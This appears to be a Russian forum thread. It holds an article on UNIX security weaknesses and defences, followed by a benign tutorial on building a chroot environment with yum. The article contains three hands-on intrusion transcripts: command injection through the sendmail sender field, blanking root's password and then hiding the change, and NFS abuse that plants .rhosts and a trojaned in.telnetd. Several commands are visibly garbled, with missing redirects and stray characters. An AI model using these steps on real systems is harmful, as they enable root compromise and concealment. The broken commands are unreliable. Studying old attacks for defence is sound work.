Вопросы безопасности в ОС семейства UNIX [статья]

[Serberg]

Вопросы безопасности в ОС семейства UNIX

В условиях современного развития компьютерных и сетевых технологий, операционные системы семейства UNIX на фоне других ОС выглядят более эффективными. Поэтому большинство Сетей (в том числе и банковских) работают под управлением именно этих операционных систем. И как следствие большой интерес к ним хакеров.
Хотя число инсталляций UNIX на предприятиях растет, подобные опасения насчет уровня ее безопасности способны задержать распространение этой ОС как среды для исполнения наиболее ответственных приложений. Брешь в защите корпоративной сети может обернуться для компании потерей миллионов долларов и, что еще более важно, подрывом доверия со стороны клиентов и партнеров. Помимо свободного доступа хакеров к исходному тексту UNIX многих беспокоит и необходимость искать квалифицированных специалистов по обеспечению ее защиты. В то же время специалисты по информационной безопасности утверждают, что несмотря на некоторые инциденты, UNIX не более уязвима, чем любая другая коммерческая ОС. Более того, открытость UNIX не снижает уровень защищенности ОС, а, напротив, способствует его повышению, благодаря придирчивому изучению исходных текстов широким кругом вполне "благонадежных" специалистов и оперативному выявлению ими недостатков во всех аспектах, включая безопасность. Обнаруженные дефекты можно оперативно устранить с помощью быстро появляющихся бесплатных "заплаток". Проведенное в 1999 г. сравнение сроков устранения ошибок, обнаруженных в системах фирм Microsoft, Sun и Red Hat, показало, что дистрибьютор бесплатной операционной системы затратил на это почти на 5% меньше времени, чем Microsoft В дополнение ко всему, многие крупные независимые разработчики ПО уже начали переносить на платформу UNIX свои коммерческие средства обеспечения безопасности. По мнению экспертов, это позволит принять стандартные меры противодействия угрозам безопасности, предусматривающие обучение персонала, использование "правильных" инструментов защиты, а также регулярное отслеживание рекомендаций экспертов и обновление версий ПО.


Каждая компьютерная система нуждается в защите от не имеющих права на доступ пользователей, получающих доступ к компьютеру, дискам и системным файлам. Возможности безопасности, присутствующие в системе, представляют расширение к основным возможностям безопасности операционных систем UNIX. Операционная система разрабатывается, чтобы удовлетворить требованиям класса доверия С2, как определено Критериями оценки компьютерной системы доверия отдела защиты. Так как нет компьютерных систем, которые полностью свободны от риска, то системы относят по "доверию", а не по "безопасности". Именно это подразумевается С2 классом "доверия". "Доверенная" система это система, которая достигает специфического уровня контроля за доступом к информации, обеспечивая механизм предотвращения (или наконец, определения) неавторизованного доступа.


Возможности безопасности операционной системы являются расширением возможностей, присутствующих у типичных, менее "доверенных" систем UNIX. Полная совместимость с существующими механизмами UNIX поддерживается с расширением защиты пользователей и системной безопасности. Большая часть системной администрации включает поддержку и защиту системной информации.
После установки и разблокировки контроля система принимает в конфигурацию чтобы функционировать в " доверенном " состоянии. В этом состоянии только определенный администратор может иметь доступ к системной информации. Когда система переходит в нормальному функционированию, доверенное состояние системы должно поддерживаться если необходимо иметь полные преимущества доверенных возможностей. Если следовать этому руководству, то системная информация останется защищенной.



Причины уязвимости UNIX



Здесь описываются вполне понятные причины, по которым, тем не менее, происходит до 90% всех случаев вскрытия UNIXхостов.
1. Наличие демонов.
2. Механизм SUID/SGIDпроцессов.
Эти механизмы, являющиеся неотъемлемой частью идеологии UNIX, были и будут лакомым кусочком для хакеров, т. к. в этом случае пользователь всегда взаимодействует с процессом, имеющим большие привилегии, чем у него самого, и поэтому любая ошибка или недоработка в нем автоматически ведет к возможности использования этих привилегий.
3. Излишнее доверие. Об этом уже достаточно говорилось выше. Повторим, что в UNIX достаточно много служб, использующих доверие, и они могут тем или иным способом быть обмануты.
К этим трем причинам нельзя не добавить следующую:
4. Человеческий фактор с весьма разнообразными способами его проявления от легко вскрываемых паролей у обычных пользователей до ошибок у квалифицированных системных администраторов, многие из которых как раз и открывают путь для использования механизмов доверия.
Нельзя приуменьшать роль человека при обеспечении безопасности любой системы. Возможно, он даже является слабейшим звеном. Про необходимость выбора надежных паролей уже говорилось. Неправильное администрирование - такая же актуальная проблема. Но за все надо платить, и это обратная сторона переносимости и гибкости UNIX. Более того, если говорить о слабости человека, защищенные системы обычно отказываются и еще от одной из основных идей UNIX наличия суперпользователя, имеющего доступ ко всей информации и никому не подконтрольного. Его права могут быть распределены среди нескольких людей: администратора персонала, администратора безопасности, администратора сети и т. п., а сам он может быть удален из системы после ее инсталляции. В результате вербовка одного из администраторов не приводит к таким катастрофическим последствиям, как вербовка суперпользователя.



Некоторые распространенные хакерские приемы



Начать обзор следует с возможности взлома через электронную почту. Для пересылки электронной почты по IP на подавляющем большинстве систем используется программа sendmail, разработанная в университете Беркли. Задуманная как чисто служебная утилита, эта программа приобрела огромную популярность и вошла в состав дистрибутива многих Unix -систем. Однако она содержала в себе очень серьезную ошибку, благодаря которой любой желающий имел возможность выполнить на удаленной машине команды с привилегиями суперпользователя. Обычно взломщики пытались отправить себе файл passwd для подбора паролей либо помещали свою информацию в файлы, использующиеся программами rlogin, rsh для запуска shell без запроса пароля:



ПРИМЕР 1

crack% telnet target.remote.com 25
Connecting to 123.456.654.321.
! соединяемся по порту 25 это SMTP
220 sendmail SMI/4.3.5.2 ready
! версия, которая как известно, содержит ошибку.
helo xxx
220 Helo xxx, ( crack.edu )
mail from: |echo crack.edu/.rhosts@target.remote.com
! подставляем команду вместо обратного адреса.
200 Sender ok.
rcpt to: nosuchuser
! вводим заранее неправильного адресата
500 nosuchuser: user unknown
! несмотря на сообщение, продолжаем диалог.
data
230 Enter mail, end with .
200 Mail accepted
! все, машина взломана....
quit
crack% su
! А теперь залезаем так, чтобы нас не было видно через who
# rsh target.remote.com /bin/csh i
Welcome to remote.com!
Warning! No access to terminal, job control disabled!
target#

Эта ошибка присутствует в нескольких десятках различных вариантов ОС Unix самых разных фирм. Кроме того, существуют и более простые способы при благоприятных условиях: удаленная машина Sun, система SunOS 4, NIS не запущен, система поставлена, и ничего не исправлялось.




ПРИМЕР 2

crack# su bin
$ rsh target.remote.com /bin/csh i
! В файле /etc/hosts.equiv есть запись + и ошибка...
Welcome to remote.com!
! Каталог /etc с владельцем bin...
Warning! No access to terminal, job control disabled!
% ls -ldg /etc
drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/
% cd /etc
! Делаем passwd доступным на запись нам...
% mv passwd passwd.was
% cp passwd.was passwd
! Редактируем
% ed passwd
2341
1p
root:Nkkh5gkljGyj:0:0:Root:/:/bin/csh
s/Nkkh5gkljGyj//p
root::0:0:Root:/:/bin/csh
w
2341
q
! И в суперпользователя.
%echo /bin/csh -i | su root
Warning! No access to terminal, job control disabled!
target# mv /etc/passwd.was /etc/passwd
! Чтобы никто не обнаружил, что мы делали.

Кроме электронной почты в TCP/IP сетях очень широко применяются различные виды распределенных файловых систем, самой популярной из которых является Network File System (NFS).
В случае неаккуратного заполнения файла /etc/exports или использования дистрибутива с ошибкой (SunOS 4.1) может возникнуть следующая ситуация.




ПРИМЕР 3

crack% showmount -e target.remote.com
Export list for target.remote.com
/home Everyone
/disk3 neptun pluton alpha
! Домашние каталоги доступны по NFS
crack% su
# mount -t nfs target.remote.com:/home /mnt
# cd /mnt
! Монтируем каталог к нам
# ls -ldg *
drwxr-xr-x 10 257 20 1536 Apr 10 01:45 user/
# echo crack.edu user/.rhosts
! Устанавливаем .rhosts у пользователя
# cath /etc/passwd
user::257:20::/:
^D
! Создаем такого же у нас
# su user
! Становимся им
$ rsh target.remote.com /bin/csh i
Warning! No access to terminal, job control disabled!
! И заходим на удаленную машину
% id
uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)
% ls -ldg /usr/etc
! Каталог доступен на запись
drwxrw-xr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc
% grep telnet /etc/inetd.conf
telnet stream nowait root /usr/etc/in.telnetd in.telnetd
! Нашли программу, которая запустится
!под root"ом из нашего каталога
% cd /usr/etc
% mv in.telnetd in.telnetd1
! создаем троянского коня
% catЋ in.telnetd
#!/bin/sh
exec /bin/csh i
^D
% chmod 755 in.telnetd
! и запускаем его
% telnet 127.1
Connecting 127.1.
Warning! No access to terminal, job control disabled!
# chown user /etc;
! Делаем /etc своим
^M: command not found
# exit;
^M: command not found
Connection closed by foreign host.
% cd /etc
! и далее как раньше как в примере 1.
.......



Обеспечение безопасности



Ниже описаны некоторые известные уязвимые места ОС семейства UNIX и способы защиты.

Провокация отказа в обслуживании. Атакуемая система выводится за рамки штатных режимов работы отправкой некорректных IP пакетов или организацией слишком интенсивного потока пакетов. Всегда используйте последнюю версию брандмауэра и следите за рекомендациями специалистов.

Посредник. Хакер пытается внедриться в механизм осуществления транзакций, чтобы завладеть идентификационными данными ее участников для последующего перехвата электронной почты, номеров кредитных карточек или иной конфиденциальной информации. Механизм SSH (Secure Shell) позволяет выполнять на сервере аутентификацию доступа с помощью алгоритма RSA, благодаря чему подобные атаки практически не имеют шанса на успех.

Фальсификация IPадресов. Использование посторонними внутреннего или внешнего IPадреса для обхода систем защиты. Большинство брандмауэров способны обнаруживать и предотвращать фальсификацию IPадресов. Установите брандмауэр и маршрутизатор с функцией фильтрации пакетов, а где возможно, внедрите более строгие механизмы аутентификации.

Прослушивание сети. Хакер может воспользоваться анализатором сетевых протоколов или иным подобным средством для перехвата сетевого трафика и извлечения из него конфиденциальных данных. Виртуальная частная сеть (VPN) способна служить зашифрованным каналом передачи данных. Организовать на платформе Linux виртуальную частную сеть с шифрованием по стандарту IPSec позволяет бесплатное ПО Free S/WAN.

Использование идентификационных данных зарегистрированного пользователя. Хакер, заполучивший какимлибо образом IP-адрес и пароль, открывающие доступ в систему, может выдать себя за зарегистрированного пользователя. Распространите цифровые сертификаты на уровне приложений. Один из возможных вариантов - применение защищенного Web-сервера Apache-SSL, основанного на спецификации SSLeay/OpenSSL. Он поддерживает цифровые сертификаты, эмитирован-ные самыми разными источниками.




Заключение



В свете вышеизложенного возникает вопрос: какие меры защиты сетей наиболее эффективны? В первую очередь, на ум приходит применение брандмауэров. Главное, это выбрать брандмауэр, соответствующий тому, в какой степени ваша сеть зависит от Internet. На сегодняшний день широкое распро-странение получили два типа брандмауэров: использующих фильтрацию пакетов и работающих на уровне приложений. Начали также появляться продукты, в которых в различной степени применяются обе технологии. Итак, существуют две технологии защиты сетей. Первая представляет собой исследование входящих и выходящих пакетов на предмет того, откуда - куда они направляются и какой тип соединения устанавливают. Недостатки этого подхода: очевидно, что он практически бессилен перед подделкой IP-адреса пассивным и, тем более, активным сниффингом, привязка же к конкретным хостам (IP-адресам) ограничивает возможности удаленных пользователей. Применение брандмауэров такого типа сети, в которых Internet используется только "изнутри", где отсутствует связь с внешними сетями, и, безусловно, все пользователи в достаточной мере облечены доверием. Брандмауэр будет наглухо закрывать доступ извне: его можно также применять для предотвращения злоупотребления Internet сотрудниками компании. Брандмауэры, работающие на уровне приложений, предполагают наличие шлюза для каждого приложения, а также аутентификацию (с использованием) при любом соединении. Такой подход позволяет отказаться от проверки IP-адресов, но взамен требует наличие шлюза для каждого приложения, что представляется довольно серьезным ограничением. Насколько эффективна эта технология? Она, очевидно, устойчива перед пассивным сниффингом и подделкой адреса, но в любом случае надежность подобной защиты от активного сниффинга не может быть стопроцентной. Брандмауэры, по сути дела, предохраняют сеть только от случайной утечки информации и проникновения в нее, так сказать, первого встречного, что, впрочем, раз в десять снижает риск потери конфиденциальности хранимой и передаваемой информации и нарушения работоспособности информационной системы. Единственное же, что может гарантировать безопасность от "подслушивания" - шифрование всех внутренних (не говоря уже о внешних) потоков данных в сети и организация дополнительных уровней аутентификации. Все это не исключает возможности перехвата пакетов сниффером, но, в то же время, не дает взломщику воспользоваться перехваченной информацией. Определение необходимой степени защиты информации осуществляется при помощи несложных математических оценок: вероятность взлома умножается на размер возможного ущерба и на основе полученной величины определяются средства, которые требуется выделить на обеспечение соответствующих мер безопасности.

Автор: XMen

[Ghost]

Вот еще статья:Создание chroot окружения в Fedora с помощью yum
Большинство современных linux-дистрибутивов поставляется с различными технологиями, направленными на повышение безопасности. Среди них есть например: SELinux, AppArmor, ExecShield, Iptables. также делает систему более безопасной. Тем не менее, хакеры все-же могут найти способы обойти вышеописанные методы защиты.

Чтобы свести к минимуму вероятность того, что взлом какой-то одной технологии или программы приведет к полному взлому всей системы, приложения могут быть запущены в так называемом chroot окружении. Это изолированное окружение, которое не имеет доступа к основной системе и содержит минимальный набор исполняемых файлов и библиотек, которые необходимы для работы приложения.

Существует 2 варианта chroot-окружения:

1. Полное изолированное окружение для приложения, окружение содержит в себе все пакеты, от которых зависит приложение.
2. Частичная изоляция приложения, окружение включает в себя только базовый набор библиотек, необходимых для работы приложения.

В этой статье будет показано как создать полную изоляцию приложения с помощью yum. Создание chroot окружения с помощью yum


При полной изоляции приложения необходимо установить пакет приложения и все его зависимости. Это довольно легко сделать в таких системах как Fedora, CentOS и Redhat linux, так как утилиты rpm и yum позволяют устанавливать пакеты, используя альтернативный корневой каталог. Этот каталог будет использоваться в качестве корневой файловой системы и взломав приложение, хакеры смогут получить доступ только к файлам данного каталога.

Чтобы создать полную изоляцию, например сервера Apache (httpd), сначала мы должны создать базу данных RPM пакетов в нашем новом каталоге (в этой статье мы будем использовать каталог /chroot/webapp1):
$ mkdir -p /chroot/webapp1/var/lib/rpm
$ rpm --root /chroot/webapp1 --initdbПервая команда создаст директории для базы данных RPM пакетов, вторая — проинициализирует базу данных. После этого мы можем загрузить релиз-пакет и установить его, используя команды:

$ yumdownloader --destdir=/var/tmp fedora-release $ cd /var/tmp $ rpm --root /chroot/webapp1 -ivh --nodeps fedora-release*rpm
Если вы используете не Fedora, а CentOS или RHEL, вы должны использовать релиз-пакеты этих систем. Если установка прошла нормально, мы можем установить httpd, использую флаг "- installroot" для установки его в нашу директорию:
$ yum --installroot=/chroot/webapp1 -y install httpdПосле установки ваша chroot-директория должна иметь структуру, аналогичную корневой файловой системе:
$ cd /chroot/webapp1
$ ls -la
total 84
drwxr-xr-x 21 root root 4096 2009-08-08 09:44 .
drwxrwxrwt. 3 root root 4096 2009-08-08 09:40 ..
drwxr-xr-x 2 root root 4096 2009-08-08 09:45 bin
drwxr-xr-x 3 root root 4096 2009-08-08 09:45 boot
drwxr-xr-x 2 root root 4096 2009-08-08 09:44 dev
drwxr-xr-x 46 root root 4096 2009-08-08 09:45 etc
drwxr-xr-x 2 root root 4096 2009-03-04 08:13 home
drwxr-xr-x 7 root root 4096 2009-08-08 09:45 lib
drwxr-xr-x 5 root root 4096 2009-08-08 09:45 lib64
drwxr-xr-x 2 root root 4096 2009-03-04 08:13 media
drwxr-xr-x 2 root root 4096 2009-03-04 08:13 mnt
drwxr-xr-x 2 root root 4096 2009-03-04 08:13 opt
dr-xr-xr-x 2 root root 4096 2009-03-04 08:13 proc
drwxr-x--- 2 root root 4096 2009-03-04 08:13 root
drwxr-xr-x 2 root root 4096 2009-08-08 09:45 sbin
drwxr-xr-x 2 root root 4096 2009-03-04 08:13 selinux
drwxr-xr-x 2 root root 4096 2009-03-04 08:13 srv
drwxr-xr-x 2 root root 4096 2009-03-04 08:13 sys
drwxrwxrwt 2 root root 4096 2009-08-08 09:45 tmp
drwxr-xr-x 14 root root 4096 2009-08-08 09:45 usr
drwxr-xr-x 18 root root 4096 2009-08-08 09:45 var
Chroot-окружение будет содержать все необходимое для запуска приложений, но перед этим нужно еще кое-что настроить. Для запуска приложений в chroot-окружении вы можете запустить команду chroot, передав ей скрипт инициализации или просто сам исполняемый файл:
$ chroot /chroot/webapp1 /usr/sbin/apachectl start
$ ps auxww | grep [h]ttpd
root 2365 0.2 0.0 171536 3732 ? Ss 09:51 0:00 /usr/sbin/httpd -k start
apache 2366 0.0 0.0 171536 2464 ? S 09:51 0:00 /usr/sbin/httpd -k start
apache 2367 0.0 0.0 171536 2464 ? S 09:51 0:00 /usr/sbin/httpd -k start
apache 2368 0.0 0.0 171536 2464 ? S 09:51 0:00 /usr/sbin/httpd -k start
apache 2369 0.0 0.0 171536 2464 ? S 09:51 0:00 /usr/sbin/httpd -k start
apache 2370 0.0 0.0 171536 2464 ? S 09:51 0:00 /usr/sbin/httpd -k start
apache 2371 0.0 0.0 171536 2464 ? S 09:51 0:00 /usr/sbin/httpd -k start
apache 2372 0.0 0.0 171536 2464 ? S 09:51 0:00 /usr/sbin/httpd -k start
apache 2373 0.0 0.0 171536 2464 ? S 09:51 0:00 /usr/sbin/httpd -k start

Чтобы удостовериться что приложение использует chroot окружение, которое мы настроили, можно запустить утилиту pwdx, передав ей PID запущенного httpd процесса:

$ pwdx 2365 2365: /chroot/webapp1
Если приложение успешно стартовало, вы сможете подключиться к нему для проверки его работы. Chroot-окружение, которое мы создали, требует периодического обновления как для повышения его безопасности, так и для минимизации количества пакетов, установленных в нем.
Заключение

В данной статье показано как создать полную изоляцию корневой директории, используя chroot окружение. Хоть это и не самый безопасный способ изолировать приложение, однако это лучший компромисс между очень долгой и нудной настройкой окружений и максимальной безопасностью.